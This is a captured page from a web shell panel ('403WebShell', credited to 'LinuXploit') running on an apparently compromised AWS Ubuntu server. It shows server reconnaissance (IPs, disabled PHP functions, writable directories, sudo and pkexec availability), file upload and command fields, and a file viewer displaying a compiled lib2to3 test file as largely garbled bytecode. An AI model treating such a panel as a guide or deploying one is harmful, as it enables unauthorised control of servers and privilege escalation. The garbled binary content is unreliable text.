Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/lib2to3/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.10/lib2to3/tests/__pycache__/test_refactor.cpython-310.pyc
o

�9j*1�@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZmZddl
mZej�ej�e�d�Zej�ed�Zej�e�ze
�d�ZWej��nej��we
�d�ZGd	d
�d
ej�ZdS)z
Unit tests for refactor.py.
�N)�refactor�pygram�
fixer_base)�token�data�fixers�myfixes�
lib2to3.fixesc@seZdZdd�Zdd�Zdd�Zdedfdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zedddfdd �Zd!d"�Zd#d$�Zefd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Z dS);�TestRefactoringToolcCstj�t�dS�N)�sys�path�append�	FIXER_DIR��self�r�2/usr/lib/python3.10/lib2to3/tests/test_refactor.py�setUpszTestRefactoringTool.setUpcCstj��dSr)rr
�poprrrr�tearDown"�zTestRefactoringTool.tearDowncCs2t||�D]\}}t||�s|�d||�qdS)Nz%s are not instances of %s)�zip�
isinstance�fail)r�	instances�classes�inst�clsrrr�check_instances%s

��z#TestRefactoringTool.check_instancesNcCst�|||�Sr)r�RefactoringTool)r�optionsr�explicitrrr�rt*rzTestRefactoringTool.rtcC�4|�ddi�}|�d|jj�|�d|jjj�dS)N�print_functionT�print�r#�assertNotIn�grammar�keywords�driver�rr#rrr�test_print_function_option-�z.TestRefactoringTool.test_print_function_optioncCr$)N�
exec_functionT�execr'r,rrr�test_exec_function_option2r.z-TestRefactoringTool.test_exec_function_optioncCs2|��}|�|j�|�ddi�}|�|j�dS)N�write_unchanged_filesT)r#�assertFalser2�
assertTruer,rrr�!test_write_unchanged_files_option7sz5TestRefactoringTool.test_write_unchanged_files_optioncCsdgd�}t�d�}t�dd�}t�d�}|�|dd�|D��|�||�|�|dd�|D��dS)N)r"�first�last�parrot�preorderrFcS�g|]}d|�qS)�fix_r��.0�namerrr�
<listcomp>B�zBTestRefactoringTool.test_fixer_loading_helpers.<locals>.<listcomp>cSr:)zmyfixes.fix_rr<rrrr?Er@)r�get_all_fix_names�get_fixers_from_package�assertEqual)r�contents�non_prefixed�prefixed�
full_namesrrr�test_fixer_loading_helpers=s

�z.TestRefactoringTool.test_fixer_loading_helperscCs~tj}t}|�}|�|d�|�|�|d�|d��|�|d�|d��|�|d�|d��d}|�||�|d	��d
}|�||�|d��d}|�||�|d��d
}|�||�|d	��d}|�||�|d��d}|�||�|d	��d}|D]
}|�||�|�qzd}|�||�|d��d}|�||�|�d}|�||�|d��d}|�||�|d��d}|�||�|�dS)N�z%from __future__ import print_function)r%z!from __future__ import generators)�
generatorsz*from __future__ import generators, feature)rJ�featurez1from __future__ import generators, print_function)rJr%z1from __future__ import print_function, generators)r%rJz(from __future__ import (print_function,)z3from __future__ import (generators, print_function)z2from __future__ import (generators, nested_scopes))rJ�
nested_scopeszGfrom __future__ import generators
from __future__ import print_function)�fromzfrom 4zfrom xzfrom x 5z	from x imz
from x importzfrom x import 4z1'docstring'
from __future__ import print_functionz9'docstring'
'somng'
from __future__ import print_functionz/# comment
from __future__ import print_functionz5# comment
'doc'
from __future__ import print_functionz3class x: pass
from __future__ import print_function)r�_detect_future_features�	frozensetrC)r�run�fs�empty�inp�invalidrrr�test_detect_future_featuresGsL
�
�
�z/TestRefactoringTool.test_detect_future_featurescCs�Gdd�dtj�}Gdd�dtj�}Gdd�dtj�}|ig�}|ig�}|ig�}t�|||g�}|�tjj�}|�|||g�|�t	j
�}	|�|	||g�|��D]	}
|�|
|g�qSdS)Nc@seZdZdS)z;TestRefactoringTool.test_get_headnode_dict.<locals>.NoneFixN)�__name__�
__module__�__qualname__rrrr�NoneFixusrYc@�eZdZdZdS)z@TestRefactoringTool.test_get_headnode_dict.<locals>.FileInputFixzfile_input< any * >N�rVrWrX�PATTERNrrrr�FileInputFixx�r]c@rZ)z=TestRefactoringTool.test_get_headnode_dict.<locals>.SimpleFixz'name'Nr[rrrr�	SimpleFix{r^r_)r�BaseFixr�_get_headnode_dictrr�python_symbols�
file_inputrCr�NAME�values)rrYr]r_�no_head�	with_head�simple�d�	top_fixes�
name_fixes�fixesrrr�test_get_headnode_dictts


�z*TestRefactoringTool.test_get_headnode_dictcCshddlm}ddlm}ddlm}ddlm}|��}|�	�\}}|�
||g�|�
||||g�dS)Nr)�FixFirst)�FixLast)�	FixParrot)�FixPreorder)�myfixes.fix_firstrn�myfixes.fix_lastro�myfixes.fix_parrotrp�myfixes.fix_preorderrqr#�
get_fixersr)rrnrorprqr#�pre�postrrr�test_fixer_loading�sz&TestRefactoringTool.test_fixer_loadingcCsD|jt|jdgd�|jtj|jdgd�|jtj|jdgd�dS)N�not_here�r�no_fixer_cls�	bad_order)�assertRaises�ImportErrorr#r�
FixerErrorrrrr�test_naughty_fixers�sz'TestRefactoringTool.test_naughty_fixerscCsL|��}d}|�|d�}|�t|�|�d}|�|d�}|�t|�|�dS)N�def parrot(): pass

�<test>zdef f(): pass

)r#�refactor_string�assertNotEqual�strrC)rr#�input�treerrr�test_refactor_string�sz(TestRefactoringTool.test_refactor_stringcshG�fdd�dtj�}g�|t�}tj}t�d�t_z	|��W|t_n|t_wgd�}|��|�dS)NcseZdZ�fdd�ZdS)z5TestRefactoringTool.test_refactor_stdin.<locals>.MyRTcs��||||g�dSr)�extend)r�old_text�new_text�filename�equal��resultsrr�print_output�szBTestRefactoringTool.test_refactor_stdin.<locals>.MyRT.print_outputN)rVrWrXr�rr�rr�MyRT�sr�r�)r�zdef cheese(): pass

z<stdin>F)	rr �_DEFAULT_FIXERSr�stdin�io�StringIO�refactor_stdinrC)rr�r#�save�expectedrr�r�test_refactor_stdin�s
z'TestRefactoringTool.test_refactor_stdinTc	Csv|�|�}|�|�}|j||d�}|r||_|�|�|�||�|��|s(dS|�|d�|�|�}|�||�|S)N)rr!T)�init_test_file�	read_filer#�	log_debug�
refactor_filerCr�)	r�	test_filerr!�mock_log_debug�actually_write�old_contentsr#�new_contentsrrr�check_file_refactoring�s



z*TestRefactoringTool.check_file_refactoringcCsLtjdd�}|�tj|�t�||�tj�|tj�	|��}t�
|d�|S)N�2to3-test_refactor��prefixi�)�tempfile�mkdtemp�
addCleanup�shutil�rmtree�copy�osr
�join�basename�chmod)rr��tmpdirrrrr��sz"TestRefactoringTool.init_test_filecCs6t|d��}|��Wd�S1swYdS)N�rb)�open�read)rr��fprrrr��s$�zTestRefactoringTool.read_filecCs>|�|�}|�|�}|j|d�}|�|d�|�|�}||fS)Nr{T)r�r�r#r�)rr�rr�r#r�rrrr��s


z!TestRefactoringTool.refactor_filecCstj�td�}|�|t�dS)N�parrot_example.py)r�r
r�rr�r�)rr�rrr�test_refactor_file�sz&TestRefactoringTool.test_refactor_filecs�tj�td�}g��fdd�}|j|dddi|dd�d	t�tjtj�|��}�D]}d
|vr:|�	||�dSq+|�
d|�f�dS)Nr�cs��||�dSr�r)�msg�args��debug_messagesrr�recording_log_debug�szXTestRefactoringTool.test_refactor_file_write_unchanged_file.<locals>.recording_log_debugrr2TF)rr!r�r�zNot writing changes to .*%szNot writing changesz%r not matched in %r)r�r
r�rr��re�escape�sepr��assertRegexr)rr�r��
message_regex�messagerr�r�'test_refactor_file_write_unchanged_file�s"���z;TestRefactoringTool.test_refactor_file_write_unchanged_filecsN�fdd�}|gg�gd�}dg}|||�dtj�dd�g}|||�dS)Nc	s��fdd�}tjj}|tj_���}g�tjdd��z+t�tj�	�d��|D]}t
tj�	�|�d���q'|���W|tj_t
���n
|tj_t
���w����fdd�|D��dS)	Ncs��|�dSrr�)r�fr�)�gotrr�mock_refactor_file�rzPTestRefactoringTool.test_refactor_dir.<locals>.check.<locals>.mock_refactor_filer�r��a_dir�wbcsg|]	}tj��|��qSr�r�r
r�)r=r
)�dirrrr?	szHTestRefactoringTool.test_refactor_dir.<locals>.check.<locals>.<listcomp>)rr r�r#r�r�r��mkdirr
r�r��close�refactor_dirr�r�rC)�	structurer�r��	save_funcr#�fnr)r�r�r�check�s$��z4TestRefactoringTool.test_refactor_dir.<locals>.check)�nothing�hi.pyz.dumbz	.after.pyz	notpy.npy�sappyr�r�zstuff.pyr�)rr�r�r�rrr�test_refactor_dir�s

�z%TestRefactoringTool.test_refactor_dircCstj�td�}|�|�dS)Nzdifferent_encoding.py�r�r
r��
TEST_DATA_DIRr�)rr�rrr�test_file_encoding�z&TestRefactoringTool.test_file_encodingcCstj�td�}|�|�}dS)Nzfalse_encoding.pyr��rr�rrrr�test_false_file_encodingr�z,TestRefactoringTool.test_false_file_encodingcCs.tj�td�}|�|�}|�|�tj��dS)Nzbom.py)	r�r
r�r�r�r4�
startswith�codecs�BOM_UTF8r�rrr�test_boms
zTestRefactoringTool.test_bomcCsFtj}dt_ztj�td�}t�d�}|�||�W|t_dS|t_w)Nz
�crlf.pyr	)r��linesepr
r�r�rrBr�)r�old_sepr�rlrrr�test_crlf_newlines$s
z&TestRefactoringTool.test_crlf_newlinescCsDtj�td�}|�|�\}}|�d|�|�d|�|�d|�dS)Nr�s
s

)r�r
r�r�r��assertInr()rr��old�newrrr�test_crlf_unchanged.s
z'TestRefactoringTool.test_crlf_unchangedcCsD|��}d}|�|d�}|�||�d}|�|d�}|�||�dS)Nz
>>> example()
42
r�z&
>>> def parrot():
...      return 43
)r#�refactor_docstringrCr�)rr#�doc�outrrr�test_refactor_docstring5sz+TestRefactoringTool.test_refactor_docstringcCsdddlm}|jdgd�}|�t|j�d�|jdgd�}|jD]
}t||�r*dSq |�d�dS)Nr)�FixExplicitzmyfixes.fix_explicitr{)r"zexplicit fixer not loaded)�myfixes.fix_explicitr�r#rC�len�
post_orderrr)rr�r#�fixrrr�
test_explicitFs

�z!TestRefactoringTool.test_explicit)!rVrWrXrrrr�r#r-r1r5rHrUrmryr�r�r��_2TO3_FIXERSr�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr
s@
-

� 
r
)�__doc__rr�r�r�r�r�r��unittest�lib2to3rrr�
lib2to3.pgen2rr
r��dirname�__file__r�rrrBr�rr��TestCaser
rrrr�<module>s&


Youez - 2016 - github.com/yon3zu
LinuXploit